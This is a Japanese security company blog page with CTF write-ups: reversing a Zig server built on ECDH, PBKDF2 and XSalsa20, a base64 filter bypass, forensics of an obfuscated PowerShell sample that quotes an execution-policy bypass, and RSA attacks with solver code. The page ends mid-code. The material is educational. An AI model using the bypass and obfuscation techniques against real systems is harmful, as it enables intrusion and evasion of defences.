Wednesday, June 14, 2023

DEF CON CTF Qualifier 2023: ziggypop

 著者:ptr-yudai(@ptrYudai

はじめに

 5月27日から29日にかけて、世界最大のハッキングコンテストDEF CONの予選CTFが開催されました。48時間の制限時間で、世界中から参加した535チームのうち、上位11チームのみが決勝に進めるという、去年よりもさらに厳しい競技となりました。

 リチェルカセキュリティの社員・アルバイトには、現役でCTFに取り組んでいるメンバーが多数在籍しています。CTFは多種多様な前提、制約、技術領域に触れる機会になり、業務の実行能力向上にも繋がります。そこで、去年に引き続き、会社としてDEF CONに挑戦することにしました。

 弊社にはTokyoWesternsやbinjaなどをはじめとして、複数の強豪チームのメンバーが在籍しています。今回も、各チームのメンバーにも協力をいただき、合同チーム「undef1ned」として出場しました。

 

競技中の食事やお菓子も支援してもらいました


  結果、今年は世界中から500を超えるチームが参加し、我々は世界11位(日本国内1位)で決勝へと歩を進めることができました🎉

昨年より厳しい条件の中、無事予選を突破
 

ziggypop

今年も数多くの難問が出題されました。この記事では、その中でも点数が高かった「ziggypop」という問題のwriteupを公開しようと思います。

この問題は、Zig言語で作られたサーバーを解析するReversingの問題です。弊社では過去にさまざまな言語でさまざまなアーキテクチャ向けに作られたバイナリを解析した経験があります。特に著者のptr-yudaiは過去にZig言語製のプログラムを解析した経験があったため、この問題に取り組み始めました。参加した弊社メンバーからは、アルバイトのkeymoonさん、moratorium08さん、そして正社員のptr-yudaiがこの問題に主に取り組みました。

問題概要

この問題ではmainという名前のx86-64向けのELFファイルが配布されます。

$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped

エントリーポイントの関数のControl Flow Graphを見ると、次のようにぐちゃぐちゃな見た目をしています。

エントリーポイントのCFG

これだけでなく、他にも呼ばれている関数がたくさんありますが、根気よく1つずつ解析していきましょう。

プログラムの実行

まず、straceで挙動を調べると、プログラムはサーバーとして接続を待ち受けていることがわかります。

$ strace ./main 
execve("./main", ["./main"], 0x7ffca46f9820 /* 72 vars */) = 0
arch_prctl(ARCH_SET_FS, 0x7fc5e4bdd028) = 0
prlimit64(0, RLIMIT_STACK, {rlim_cur=16384*1024, rlim_max=16384*1024}, NULL) = 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(8675), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 128)                          = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(8675), sin_addr=inet_addr("0.0.0.0")}, [16]) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc5e4bdb000
accept4(3,

しかし、ncで接続してもすぐにクラッシュしてしまいます。

[ 4349.293387] traps: main[11844] trap invalid opcode ip:7fc307edc016 sp:7ffd8fc922b8 error:0 in main[7fc307ed1000+c000]

gdbで見ると次の箇所で停止します。

pwndbg> x/4i 0x7ffff7ff8016
=> 0x7ffff7ff8016:      vprold xmm2,xmm1,0x18
   0x7ffff7ff801d:      vprold xmm3,xmm4,0x9
   0x7ffff7ff8024:      vpand  xmm1,xmm2,xmm3
   0x7ffff7ff8028:      vpslld xmm1,xmm1,0x3

実は今回のプログラムはIntelのAVX-512という拡張命令セットを利用しています。残念ながら、私のマシンは一部の命令に対応していなかったため、Illegal Instructionでプログラムが落ちてしまいました。

アルバイトの方のマシンでは正常に動作することが終盤でわかりましたが、いずれにせよ動作確認のたびに他の人に実行を依頼していては埒が明きません。まずは自分のマシンで動作させる方法を考えました。

まっさきに思いついたのが**Intel SDE**(Software Development Emulator)です。SDEは名前の通りエミュレータで、Intel命令セットのプログラムをエミュレートしてくれます。内部的にはIntel PINを使っており、新しい命令セットの再現や実行トレースの取得もできます。

$ ./sde64 -skx -- ./main

上記コマンドではSkylake server CPUを選択して実行しました。ncで接続してみます。

$ nc localhost 8675 | hexdump -C
00000000  c2 9f f0 76 3b ab b9 8f  a6 19 ef f0 76 a6 d2 e1  |...v;.......v...|
00000010  cb 1d 48 b1 fc a0 f1 89  f4 0f 0b be 50 d1 f6 73  |..H.........P..s|

応答がありました!これで無事プログラムを実行できます。

プログラムの動的解析

実行はできましたが、SDEの上で動いているため、このままではgdbでデバッグできません。SDEにはgdbでアタッチできる機能もありますが、非常に動作が遅いため、なるべく避けて通りたいです。

今回問題を解き進める上で、「ある時点でのメモリとレジスタの状態を確認したい」という需要がありました。ステップ実行のような贅沢な機能は諦めても、最低限ブレークポイントが必要であると判断しました。

そこで、Intel PINの性質を使って簡易的なブレークポイントを再現することにしました。PINは命令をフェッチし、トレース単位でJITコンパイルします。これにより、例えばさきほどクラッシュを引き起こしていた vprold 命令は、実行中のCPUがサポートする別の命令列に置き換えられます。実行可能な命令は通常そのままの形で登場するため、使われるレジスタも同じになります。

したがって、実行を停止したい箇所に、中身を知りたいレジスタを使ってSIGSEGVを引き起こす命令を設置すれば、そのレジスタの状態を持ったままクラッシュします。競技中はこのクラッシュによる停止を使ってデバッグしました。CTFのように速さが求められる作業では、このように雑でも使える方法が解析に役立ちます。

次のコードはアドレス0x36dcでプログラムを停止させ、 rsp の値を調べる際に使ったパッチです。

from ptrlib import *

data = assemble("xor eax, eax; mov [rax], rsp;")
addr = 0x36dc

with open("./main", "rb") as f:
    buf = f.read()

buf = buf[:addr-0x1000] + data + buf[addr-0x1000+len(data):]

with open("./patched", "wb") as f:
    f.write(buf)

import os
os.system("chmod +x patched")

プログラムの静的解析

ここからが最も重たい部分です。プログラムの処理を解析して、フラグを手に入れる方法を調べましょう。

すでに対象プログラムがfork型サーバーとして動作していることを知っているので、 accept fork の後の処理を探します。まず accept が一箇所あるので、その周辺を調べます。

接続を受け付けるコードの周辺

accept の後には sub_401B が呼ばれていますが、これは明らかに fork です。

接続を受け付けるとforkする

Zig製のバイナリを読んでいるとすぐに気づきますが、下図のように、Zigの変数はポインタとサイズの組で表現されます。

Zigにおけるメモリ上での変数の表現


例えば以下の関数 sub_3FFE を見てみましょう。

Zigの変数を引数に取る関数呼び出しの例

中身は次のようになっています。 v2 には第二引数の変数サイズが入るので、第一引数の変数バッファに第二引数の変数バッファをコピーしていることが分かります。

Zigの変数を扱う関数の例


このように、まずは対象の言語が変数や定数をメモリ上でどのように表現しているかや、関数の呼び出し規約などを知っておくことで、解析しやすくなります。

さて、しばらく読み進めると sub_9EB6sub_AC54 のラッパ)と sub_9EBBsub_AAD5 のラッパ)という2つの関数が登場します。内部ではシステムコールが呼ばれています。 sub_9EB6 はrax=1なので writesub_9EBBread であることが分かります。

write関数

read関数


ncで接続したときに毎回ランダムな32バイトの値が出力されていました。これがこの write 呼び出しに該当すると思われます。このデータの意味がわかるまでは、この32バイトの値を乱数Xと呼ぶことにします。

ncで表示される乱数を出力している箇所

IDAはSIMD命令に弱いので上図のような残念なデコンパイル結果になっていますが、読んでいきましょう。デコンパイル結果中の変数はほとんど意味のないものになっているため、適宜アセンブリコードと比較しながら読み進めます。

さて、乱数Xの出力サイズは0x20バイト固定で、データポインタは rsp+0x400 から来ています。このデータの元をたどると、非常に煩雑なコードを経て生成されているデータであることが分かります。特に序盤では sub_4159 がひどく、とてもではありませんが読めるような見た目をしていません。

人間が読むには複雑なコードが出力されている

 一番最初に乱数Xが使われる箇所は sub_4057 です。この関数の中では0x20バイトの乱数が生成されます。乱数は sub_CD1A で作られ、ここでは getrandom システムコールを使って安全な乱数を生成しています。

乱数Xのソースはgetrandomシステムコール

生成される乱数と送られる乱数Xは異なるものなので、 sub_4057 で作られた乱数を sub_4159write 前のSIMD命令などを通して変形してから送信しているものと思われます。これらの関数を読むのは大変なので、一度後回しにして入力 read 以降を読み進めていきましょう。

read では32バイトのデータを入力します。このデータに対してたくさんのSIMD命令を適用した後、次の条件分岐があります。条件が成立しないとプログラムは終了します。したがって、最初の関門はここを通過できる入力を探すことです。

最初の入力をチェックする箇所


どうやらこれまで無視してきていたSIMD命令や、複雑な関数を調べる必要がありそうです。

Reversingにおいて複雑な関数を調査するとき、まずは既存のコードを調べるのが好手になりやすいです。今回はまず、比較的簡単な見た目をしている sub_0D7F を調べることにしました。

特徴的な定数から該当するアルゴリズムを調べる

図のように、 bzhi 命令(レジスタの特定のビットより上位を取り出す命令)を多用しています。また、途中で51ビットのシフトがたくさん登場することや、0x7FFFFFFFFFFEDという値を足していることも特徴的です。そこで、「51 0x7FFFFFFFFFFED」で検索すると、 boringssl というリポジトリの curve25519_64.h がヒットします。

https://boringssl.googlesource.com/boringssl/+/master/third_party/fiat/curve25519_64.h

static FIAT_25519_FIAT_INLINE void fiat_25519_subborrowx_u51(uint64_t* out1, fiat_25519_uint1* out2, fiat_25519_uint1 arg1, uint64_t arg2, uint64_t arg3) {
  int64_t x1;
  fiat_25519_int1 x2;
  uint64_t x3;
  x1 = ((int64_t)(arg2 - (int64_t)arg1) - (int64_t)arg3);
  x2 = (fiat_25519_int1)(x1 >> 51);
  x3 = (x1 & UINT64_C(0x7ffffffffffff));
  *out1 = x3;
  *out2 = (fiat_25519_uint1)(0x0 - x2);
}
...
  fiat_25519_subborrowx_u51(&x1, &x2, 0x0, (arg1[0]), UINT64_C(0x7ffffffffffed));
  fiat_25519_subborrowx_u51(&x3, &x4, x2, (arg1[1]), UINT64_C(0x7ffffffffffff));
  fiat_25519_subborrowx_u51(&x5, &x6, x4, (arg1[2]), UINT64_C(0x7ffffffffffff));
  fiat_25519_subborrowx_u51(&x7, &x8, x6, (arg1[3]), UINT64_C(0x7ffffffffffff));
  fiat_25519_subborrowx_u51(&x9, &x10, x8, (arg1[4]), UINT64_C(0x7ffffffffffff));

 sub_0D7F にかなり近い見た目をしています!つまり、これまでわからなかった謎のSIMD命令は、楕円曲線演算に関わる命令なのではないかと予測できます。

ZigでCurve25519を扱うライブラリを探すと、標準ライブラリがありました。

https://github.com/ziglang/zig/blob/master/lib/std/crypto/25519/curve25519.zig

このコードと機械語を照らし合わせることで、点のスカラー倍やバイト列へのエクスポートなど、これまで無視してきた関数の中身がわかりはじめました。

ここまで判明している内容を擬似コードに落とすと、次のようになります。

  u8 secret[0x20], Q_bytes[0x20];
  GetRandom(secret, 0x20);
  Curve25519 P;
  P = secret * G; // Gは固定のベースポイント

  // PA=sA*Gを送ってPB=sB*Gを受け取る
  write(sock, P.toBytes(), 0x20);
  read(sock, Q_bytes, 0x20);
  Curve25519 Q(Q_bytes);

  // 共有鍵
  Curve25519 abG = secret * Q;
  assert (abG.limbs[0] & 0xffff000000 == 0xc0aa000000);

楕円曲線Diffie-Hellman鍵共有を実装していますが、こちらから送る点は特徴的な点でないと受け付けてくれません。 limbs はCurve25519における点の圧縮表現で、この最初のデータの上位16ビットを0xc0aaと比較しています。数学的な意味があるのかはわかりませんが、16ビットなので適当な点を生成して、条件を満たすものを選択すれば総当りでも良さそうです。

PA = sock.recvonce(0x20)
print(PA)
while True:
    sB = random_int(1, (1<<256)-1)
    abG = mul_P(sB, PA)
    if (to_x(abG)[0] & 0xffff000000) == 0xc0aa000000:
        logger.info(f"Found valid secret: 0x{sB:x}")
        break
PB = mul_G(sB)
sock.send(PB) # sB * G
logger.info("PB: " + PB.hex())
logger.info("abG: " + abG.hex())

これで条件を満たす点を渡し、鍵共有に成功しました。

では、続きを読んでいきましょう。

ECDH鍵共有成功後のコード

また新しい関数が登場しました。今度は点15のバイト表現を受け取って処理をしていますが、該当する関数はZigのCurve25519には見つかりません。

これらの関数も複雑なロジックなので、マジックナンバーやCFGの形などを元に調査してみます。まずは一番多く呼ばれている sub_A016 を調べてみます。中では次のような複雑な関数を呼んでいます。

特徴的な定数から該当するアルゴリズムを調べる その2

登場する数値の1つとして「0x428A2F98」を選んで検索してみると、SHA-256がヒットします。はじめは単にSHA-256を計算しているのかと思いましたが、ところどころ説明のつかない機械語が登場します。同様の値が使われるBLAKE系のハッシュも調査しましたが、ここでしばらく考えました。

しばらくすると、チームメンバーからSHA-256をHMACとして使っているのではないかという予想が挙がりました。上記ハッシュの後に、次のようなループ処理があります。

 

PBKDF2にみられるループ

暗号に強いメンバーからPBKDF2に見えるという意見があり、実際にコードを見てもかなり近い見た目をしていることがわかります。

https://github.com/ziglang/zig/blob/ab37ab33ce94b4fb6536bcc2f3981c0cc257c9f0/lib/std/crypto/pbkdf2.zig#L134

徐々にPBKDF2-SHA256であることが明らかになってきました。ループ中に登場する

3 * v139 + 21

という計算が本来存在しない処理なので疑問でしたが、暗号要員にそこだけ追加して再現してもらうと、デバッグ時と値が一致することが判明しました。

ここまでで、楕円曲線DH鍵共有で共有した点をバイト表現としてPBKDF2に渡し、その結果を共通鍵として利用していることが分かりました。新たに判明した場所の疑似コードは次のようになります。

  // PBKDF2-SHA256の改造版
  SHA256 ctx = Prf.init(abG.toBytes()); /* rsp+0x1900 */
  ctx.update(abG);
  ctx.update(0x10000000.toBytes("big endian"));
  ctx.final(prev_block);
  dk_block = prev_block; // memory copy

  for (int rounds = 1; rounds < 1000; rounds++) {
    SHA256 ctx2 = Prf.init(abG.toBytes()); /* rsp+0x700 */
    ctx2.update(prev_block);
    ctx2.final(secret);
    prev_block = new_block; // memory copy

    u32 val = 0;
    for (int j = 0; j < 32; j++) {
      dk_block[j] ^= prev_block[j];
      val = rounds + ((3 * prev_block[j] + 21) ^ val) % 0xffffff;
    }
  }

ここまで解析してもまだフラグが見えませんが、次が最後の山場です。

まず、0x18バイトのデータと、0x110バイトのデータを受け付けます。

最後のユーザー入力

少し読み飛ばすと、次のようにフラグを開いている箇所が見つかります。
 

 

フラグと思われるファイルを開いている箇所

さらに続いて write が呼ばれていることから、送ったデータの正当性を検証してフラグを出力するか、送ったデータに基づいてフラグを暗号化して出力するか、フラグに関するデータを出力する処理があると考えられます。

ここで登場する処理も新しい関数なので、調査していきましょう。例えば sub_A329 を見ると、次のように計算処理があります。XORが多いことから、数値計算というよりハッシュ関数や暗号のような計算に見えます。

ハッシュ関数や暗号アルゴリズムのようなアセンブリ

 この関数の冒頭では sub_AECC を呼び出しており、そこでは xmmword_BC0 が参照されています。このアドレスは定数領域で、次のようなデータが入っています。

特徴的な定数から該当するアルゴリズムを調べる その3

 
この値はASCIIで expand 32-byte k であり、ChaChaやSalsa20で使われるマジックナンバーです。アセンブリとZigの実装を読み比べると、XSalsa20に近いことが判明しました。さらに、CFGの形やZigの変数の呼び出し規約などと照らし合わせると、XSalsa20Poly1305と酷似していることがわかります。

したがって、鍵共有後の最初の read で0x18バイトのnonceを受け取っていたことになります。Salsaの鍵としてPBKDF2-SHA256で共有した鍵が使われます。もう1つの read で送った0x110バイトのうち、最初の0x10バイトはtagを表しており、残りの0x100バイトがデータを復号します。復号した結果は次の箇所で使われています。

復号結果の検証コード

復号結果の最初のバイトが0x02かどうかを確認しています。楕円曲線の点のチェックもそうでしたが、意味のあるチェックというより、プログラムを理解しているかのためのチェックのようです。ここまでを疑似コードで表してみます。

read(sock, nonce, 0x18);
read(sock, nazo2, 0x110);

u8 data[0x40];
MemoryCopy(data, b"\\x00"*0x20 + nazo2[0x10:0x30]);

XSalsa20Poly1305 s = XSalsa20Poly1305(dk, nonce);
data = s.decrypt(data, nazo2[0:0x10], "", nonce, dk);
assert (data[0] == 2);

上記のチェックを完了したら、フラグがXSalsa20Poly1305で暗号化されて送られてきます。その後に入力と同じ形式で、nonceとtag, 暗号文が送られてきます。

 

暗号化したフラグの送信コード


疑似コードで表すと次のようになります。

u8 flag[0x100];
int fd = open("flag.txt", O_RDONLY);
read(fd, flag, 0x100);
close(fd);

u8 rnd[0x18];
GetRandom(rnd, 0x18);
XSalsa20Poly1305 s = XSalsa20Poly1305(dk, rnd);
data, tag = s.encrypt(data, "", rnd, dk);

write(sock, rnd, 0x18);
write(sock, tag + data, 0x110);

鍵は共有した鍵が使われているので、ここまでの情報で復号できます。

shared_key = abG
kd = pbkdf2_modified(shared_key, shared_key, 1000)
logger.info("kd: " + kd.hex())

dummy_tag = b'\\x00' * 0x10
while True:
    nonce = os.urandom(0x18)
    msg = os.urandom(0x100)
    m = decrypt(msg, dummy_tag, nonce, kd) # XSalsa20Poly1305
    if m[0] == 2:
        c, tag = encrypt(m, nonce, kd)
        logger.info("  c: " + c.hex())
        logger.info("  m: " + m.hex())
        logger.info("tag: " + tag.hex())
        break

sock.send(nonce)
sock.send(craft_msg(tag, msg))
time.sleep(5)
print("sorosoro...")
nonce = sock.recvonce(0x18)
logger.info("nonce: " + nonce.hex())
tag = sock.recvonce(0x10)
enc = sock.recvonce(0x100)
logger.info("tag: " + tag.hex())
logger.info("enc: " + enc.hex())

flag = decrypt(enc, tag, nonce, kd) # XSalsa20Poly1305
print(flag)

おわりに

 長いwriteupになってしまいましたが、競技中も取り組み始めてからフラグが出るまでに17時間をかけて解きました。(LiveCTFや他の問題も担当していたため17時間ずっとこの問題に取り組んでいたわけではありませんが、著者が一番時間を割いた問題であることは間違いありません。)楕円曲線DH鍵共有、PBKDF2、SHA256、XSalsa20Poly1305と、さまざまな暗号やハッシュ関数が詰め込まれており、それらをZigでコンパイルされたコードとして読む必要があるため非常に大変な問題でした。

 CTF・業務問わず、リバースエンジニアリングという作業は解析者の技術だけでなく、根気も重要になってきます。長時間の解析は体力が物を言うので、今回のDEF CON CTFを通してリバースエンジニアリング能力の向上をまた1つ実感できました。

 また、今回の問題は暗号やマイナー言語に強いチームメンバーの力も借りて解くことができ、協力して初めて解ける問題はチーム戦ならではの醍醐味だと感じました。

 決勝大会は今年もラスベガスで開催されます。リチェルカセキュリティでは、今回参加してくださった社員・アルバイトの方が決勝大会やDEF CONカンファレンスに参加できるよう、旅費を支援する予定です。

今年もDEF CON CTFに参加してくださった社員、アルバイトの方々、そして協力してくださったチームのメンバーの方々、ありがとうございました!決勝でお会いしましょう👋

Thursday, June 1, 2023

Ricerca CTF 2023 作問者Writeup [Misc, Forensics編]

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はMiscおよびForensicsカテゴリの問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

 また、他のジャンルのWriteupは以下の投稿から読むことができます。

[Misc] gatekeeper

問題・Writeup著者:arata-nvm

概要

以下のプログラムがサーバーで実行されています。

import subprocess

def base64_decode(s: str) -> bytes:
  proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True)
  if proc.returncode != 0:
    return ''
  return proc.stdout

if __name__ == '__main__':
  password = input('password: ')

  if password.startswith('b3BlbiBzZXNhbWUh'):
    exit(':(')

  if base64_decode(password) == b'open sesame!':
    print(open('/flag.txt', 'r').read())
  else:
    print('Wrong')

このプログラムは入力された文字列をbase64でデコードし、その結果がopen sesame!と等しいときにフラグを表示します。ただし、b3BlbiBzZXNhbWUhopen sesame!をbase64でエンコードしたもの)が入力された場合は即座にプログラムを停止します。

解法

まず、base64のデコード処理にbase64コマンドが使用されていることに注目します。Pythonの標準ライブラリにはbase64モジュールがあるため、わざわざ外部コマンドを呼び出しているのは不自然です。

そこでbase64コマンドの実装を調査すると、パディング文字=の後の文字列もデコードされることがわかります。この仕様を利用すればb3BlbiBzZXNhbWUhのフィルターに引っかからず、かつopen sesame!としてデコードされるような文字列を作れそうです。

そのような文字列の1つの例としては、open sesame!を分割してbase64でエンコードし、再び結合したものが考えられます。実際、以下の実行結果からその文字列がopen sesame!とデコードされることがわかります。

$ echo -n 'o' | base64
bw==
$ echo -n 'pen sesame!' | base64
cGVuIHNlc2FtZSE=
$ echo 'bw==cGVuIHNlc2FtZSE=' | base64 -d 
open sesame!

したがって、bw==cGVuIHNlc2FtZSE=を入力するとフラグが得られます。

$ nc gatekeeper.2023.ricercactf.com 10005
password: bw==cGVuIHNlc2FtZSE=
RicSec{...}

[Forensics] My name is Power!

問題・Writeup著者:pinksawtooth

問題概要

 この問題はWindowsメモリフォレンジックの問題です。マルウェアが実行されたと思われるマシンのメモリダンプが与えられます。マルウェアを抽出して、どのような挙動をするかを解析するまでの一連の能力が問われます。

Step1: メモリの調査

memory.rawをvolatility3で解析します。 まずはwinfows.infoでメモリの情報を確認します。

次に、pstreeで動作しているプロセスを確認します。 explorer.exeの下にcmd.exeから実行されたpowershell.exeが存在します。


 cmdlineコマンドでそれぞれのコマンドライン引数を確認します。 powershell.exeの引数にbase64された長い文字列が存在するため、不審であると判断できます。

Step2: PowerShellのデコード

Stage1

オプションから以下の通り、execute policyをバイパスしてbase64でエンコードしたコマンドを実行していることがわかります。

pOwERsHEll  -eP bYpASs -e

メインの処理と予想される引数を、base64でデコードしましょう。デコード結果は以下になります。

PowerShellの文字列を実行するIEXを用いて、難読化しているようです。ここから難読化処理を解除します。
今回はCTFの問題で危険な処理は入っていないと予想できるので、IEXを削除した部分をPowerShell上で実行し、本来実行される文字列のみを取得しましょう。なお、実際の検体を解析する際は、かならずVMやWindows Sandboxなどの隔離された環境で実行しましょう。
今回は先頭の& ( $PsHOme[4]+$psHoME[34]+'X')がIEX部分になるので、除去して実行した結果が以下になります。

再度IEXによる難読化が行われているようなので、同様にIEXを削除し、文字列を取得します。 先頭の . ( $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN'')がIEX部分になります。

実行した結果は以下となります。 


先頭のif ($env:COMPUTERNAME -eq "RICSEC") {によって、コンピュータ名がRICSECの場合のみ実行されるようになっているため、この部分を削除します。 さらに、今回は末尾にIEXがあるようなのでifの閉じ括弧とあわせて| &( $SheLLID[1]+$SheLliD[13]+'x')};も同時に削除します。 これらを取り除いたコードを実行した結果は以下になります。

 


さらに末尾の|.( $enV:cOMsPEC[4,15,25]-JOiN'')で実行しているようです。 こちらも除去し、実行します。


 読みやすいコードが出現しました。 先頭のif((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {によって、日時が4/1の場合のみ実行されるようなので、最後尾の};も含め除去します。 残りのスクリプトは文字列操作が読み取れるので、;で区切り適宜実行しながら復元すると以下になります。

 


flagと思われるHKCU:\Software\Microsoft\CTFfiendからデータを読み込み、文字列f1bb3rとXORを行った後に、AESで暗号化して元のレジストリにデータを書き戻していることがわかります。 ただし、AESの暗号鍵となるSHA256ハッシュに渡している文字列がf1bb3rを各文字に分解した後の10進数スペース区切りの文字列102 49 98 98 51 114である点に注意が必要です(powershellの難読化スクリプトを流用する場合は意識する必要はありません)。 IVは0..15なので\x00..\x0fまでのバイト列であることもわかります。 つまりこの逆操作を行えばよいだけとなります。

書き戻されているはずの、暗号化されたデータをprintkeyで確認しましょう。


\x39\xda\x2a\x85\xc9\x5b\x42\x17\x84\x11\xd8\x23\x3b\x0b\xf2\x0e\x26\x8c\x95\x89\xff\xe6\xf1\x7e\x4b\xf8\x43\x42\xd0\x24\x37\x70とわかりました。復号スクリプトを書きましょう。

import hashlib
from Crypto.Cipher import AES

c = b"\x39\xda\x2a\x85\xc9\x5b\x42\x17\x84\x11\xd8\x23\x3b\x0b\xf2\x0e\x26\x8c\x95\x89\xff\xe6\xf1\x7e\x4b\xf8\x43\x42\xd0\x24\x37\x70"

key = hashlib.sha256(b"102 49 98 98 51 114").digest()
iv = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
aes = AES.new(key, AES.MODE_CBC, iv)
c = aes.decrypt(c)

k = "f1bb3r"
flag = ""
for i in range(len(c)):
    flag += chr(c[i] ^ ord(k[i % 6]))
    if "}" in flag:
        break

print(flag)

実行します。

$ python solver.py
RicSec{6r347_90w3r!}

flagが得られました。

Ricerca CTF 2023 作問者Writeup [Crypto編]

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はCryptoカテゴリの問題のうち、warmupを除く問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

  また、他のジャンルのWriteupは以下の投稿から読むことができます。

Rotated Secret Analysis

Writeup著者:ptr-yudai

問題概要

配布ファイルは以下のようなシンプルなスクリプトと、その実行結果になります。

import os
from Crypto.Util.number import bytes_to_long, getPrime, isPrime

flag = os.environ.get("FLAG", "fakeflag").encode()

while True:
  p = getPrime(1024)
  q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. <https://en.wikipedia.org/wiki/Bitwise_operation#Rotate>)
  if isPrime(q): break

n = p * q
e = 0x10001
m = bytes_to_long(flag)

c = pow(m, e, n)

print(f'{n=}')
print(f'{e=}')
print(f'{c=}')

RSA暗号になってより、平文$m$に対する暗号$c = m^e \mod n$および公開鍵$e, n$が与えられます。ただし、素数$p, q$の作り方が特徴的で、$p$は$q$を512ビットローテートした値になっています。

解法

RSAの素数$p, q$に何かしらの関係があるとき、$n$を素因数分解できてしまうことが多くあります。今回の問題では、512ビットに収まる整数$a, b$を使って、

$p = 2^512 a + b$

$q = 2^512 b + a$

と表すことができます。したがって、

$n = (2^512 a + b) (2^512 b + a) = 2^1024 ab + 2^512 (a^2 + b^2) + ab$

となります。項ごとにオーダーが異なることが分かります。図で確認してみましょう。


$ab$の下位512ビットと上位512ビットは、それぞれ$n$の下位512ビットと上位512ビット(図の赤色の部分)から計算できます。$2^512(a^2+b^2)+ab$の繰り上がりを考慮すると、$n$の上位512ビット$ab$は完全ではありません。しかし、繰り上がりは発生するかしないかの2通りなので、完全な$ab$の値を求められます。

また、$ab$が分かると$a^2+b^2$の値も

$a^2 + b^2 = 2^{-512}(n - (2^1024 + 1) ab)$

という計算で取り出せるため、$a^2+b^2$と$ab$が求まります。さらに、

$(a+b)^2 = (a^2 + b^2) + 2(ab)$

より、$a+b$も求まり、ここから$a, b$を計算できます。

したがって、$n$から$a, b$の両方の値を取り出せるため、$p, q$が分かります。

ソルバ

from Crypto.Util.number import long_to_bytes
from math import isqrt

exec(open("../distfiles/output.txt").read())

P_BITS = 1024
A_BITS = P_BITS // 2

ab_upper = int(bin(n)[2:][:-A_BITS*3], 2)
ab_lower = int(bin(n)[2:][-A_BITS:], 2)

a, b = None, None
for i in [0, 1]:
  ab = ((ab_upper - i) << A_BITS) + ab_lower
  # a^2+b^2
  a2pb2 = (n - (ab << P_BITS) - ab) >> A_BITS
  # (a+b)^2
  apb2 = a2pb2 + 2 * ab
  if apb2 < 0 or isqrt(apb2) ** 2 != apb2: continue

  apb = isqrt(a2pb2 + 2 * ab)
  d = apb**2 - 4*ab
  if d < 0 or isqrt(d) ** 2 != d: continue

  a = (apb + isqrt(d)) // 2
  b = (apb - isqrt(d)) // 2

  assert a * b == ab
  break

assert a is not None and b is not None

p = (a << A_BITS) + b
q = (b << A_BITS) + a

assert p * q == n

print(long_to_bytes(pow(c, pow(e, -1, (p - 1) * (q - 1)), n)).decode())
 

RSALCG

問題・Writeup著者:ptr-yudai

問題概要

問題名の通り、RSA暗号とLCGを組み合わせた暗号化を使っています。 LCGは疑似乱数を生成するスキームで、定数$a, b, n$とシード$s$に対して、乱数列$\{r_i\}$を

$$ r_0 = s \ \ \ \ (s < n) \\ r_i \equiv ar_{i-1} + b \mod n \ \ \ \ (i \in \mathbb{N}) $$

と定義します。

また、RSAでは素数$p,q$を使い$n = pq$とし、$e$を65537と定義しています。

RSALCGでは、平文$m$を$m \oplus (r_i^e \mod n)$により暗号化します。 すなわち、LCGが生成した乱数$r_i$をRSAで暗号化し、その結果と平文をXORすることで最終的な暗号文を生成します。

公開鍵は$n, e, a, b$で、秘密鍵は$s$です。 また、1回目に既知平文、2回目にフラグ、3回目に別の既知平文を暗号化した結果が与えられます。

解法

Franklin-Reiter Related Message Attack

今回は3回暗号化するため、$r_1, r_2, r_3$が使われます。

$r_1 \equiv as + b \mod n$

$r_2 \equiv a^2s + ab + b \mod n$

$r_3 \equiv a^3s + a^2b + ab + b \mod n$

また、1回目と3回目に暗号化される平文は分かっているので、XORを戻して

$c_1 \equiv r_1^e \equiv (as + b)^e \mod n$

$c_3 \equiv r_3^e \equiv (a^3s + a^2b + ab + b)^e \mod n$

は判明しています。

ここで、

$r_3 \equiv a^3s + a^2b + ab + b = a^2(as + b) + (ab + b) = a^2r_1 + (ab + b)$

です。 $A=a^2, B=ab+b, r_1=m$とおくと、

$r_3 \equiv Am + B  \mod n \ \ \ \ (B \neq 0)$

の形になります。$m, Am + B$の暗号文を持っているとき、Franklin-Reiter Related Message Attackが適用できます。

剰余多項式$f_1(x), f_3(x)$を

$f_1(x) \equiv c_1 - x^e \mod n$

$f_3(x) \equiv c_3 - (Ax+B)^e \mod n$

とおくと、$f_1(x), f_3(x)$はともに$m$を解に持つため、

$f_1(x) = (x - m)h_1(x)$

$f_3(x) = (x - m)h_3(x)$

と因数分解できるはずです。 したがって、$\gcd(f_1(x), f_3(x)) = x - m$より、平文$m$が求まります。

Half-GCD

$f_1(x), f_3(x)$のGCDを計算する際に問題が発生します。 今回$e=65537$ですので、$f_1(x), f_3(x)$はともに65537を次数として持ちます。このような非常に大きい次数の多項式では、ユークリッドの互除法を使っても(現実的に終わるものの)計算に時間がかかります。

次数が高い多項式のGCDを取るとき、より高速なアルゴリズムとしてHalf-GCDがあります。 今回のパターンでは、ユークリッドの互除法では数十分から数時間かかる計算が、Half-GCDでは数十秒から数分で終わります。

ソルバ

以下は、Franklin-Reiter Related Message AttackとHalf-GCDを組み合わせたソルバになります。

# Half-GCD code from
# <https://scrapbox.io/crypto-writeup-public/half-GCD>
def pdivmod(u, v):
    """
    polynomial version of divmod
    """
    q = u // v
    r = u - q*v
    return (q, r)

def hgcd(u, v, min_degree=10):
    """
    Calculate Half-GCD of (u, v)
    f and g are univariate polynomial
    <http://web.cs.iastate.edu/~cs577/handouts/polydivide.pdf>
    """
    x = u.parent().gen()

    if u.degree() < v.degree():
